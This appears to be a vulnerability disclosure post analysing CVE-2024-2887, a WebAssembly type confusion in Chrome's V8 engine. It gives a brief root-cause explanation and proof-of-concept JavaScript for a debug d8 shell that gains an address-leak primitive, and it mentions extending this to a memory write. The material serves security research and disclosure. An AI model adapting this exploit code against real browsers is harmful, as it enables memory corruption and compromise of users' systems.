author: @buptsb
2024-04-08 16:14:00
https://x.com/buptsb/status/1777248693273731308
This PoC is the FIRST public disclosure for this vulnerability.
Info
https://chromereleases.googleblog.com/2024/03/stable-channel-update-for-desktop_26.html
[N/A][330588502] High CVE-2024-2887: Type Confusion in WebAssembly. Reported by Manfred Paul, via Pwn2Own 2024 on 2024-03-21
https://chromium-review.googlesource.com/q/bug:330575498
https://chromium-review.googlesource.com/c/v8/v8/+/5378419
Analysis
Enum type HeapType::Representation
start from kV8MaxWasmTypes
:
Heaptypes below kV8MaxWasmTypes
is “user-defined” types(for GC extension?)
We could create a StructType, which index is above kV8MaxWasmTypes
, same with kExtern
,
so this struct type could be confused with a js value whose type is ExternRef,
and the wasm decoder type checker would not complain.
PoC
Change kV8MaxWasmTypes
from 1M->1K for debugging speedup...
const prefix = "...";
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
const builder = new WasmModuleBuilder();
// fill up user defined types in a rec group, so that the total ##type groups## is below kV8MaxWasmTypes
builder.startRecGroup();
for (let i = 0; i < 1000; i++) {
builder.addType(kSig_i_iii);
}
builder.endRecGroup();
for (let i = 0; i <= 5; i++) {
builder.addStruct([makeField(kWasmI32, true)]);
}
// tStruct is 1006, same with kWasmExternRef
let tStruct = builder.addStruct([
makeField(kWasmI32, true),
]);
// create function type has kWasmExternRef as input, ret addr
let tFunc = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
builder.addFunction('main', tFunc).addBody([
kExprLocalGet, 0,
// use `wasmSignedLeb` to wrap a value large than 0xFF
kGCPrefix, kExprStructGet, ...wasmSignedLeb(tStruct), 0,
]).exportFunc();
const instance = builder.instantiate();
let sb = {foo:42};
%DebugPrint(sb);
%DebugPrint(instance.exports.main(sb));
%SystemBreak();
Now we have addrof
, we could trigger a write using struct set.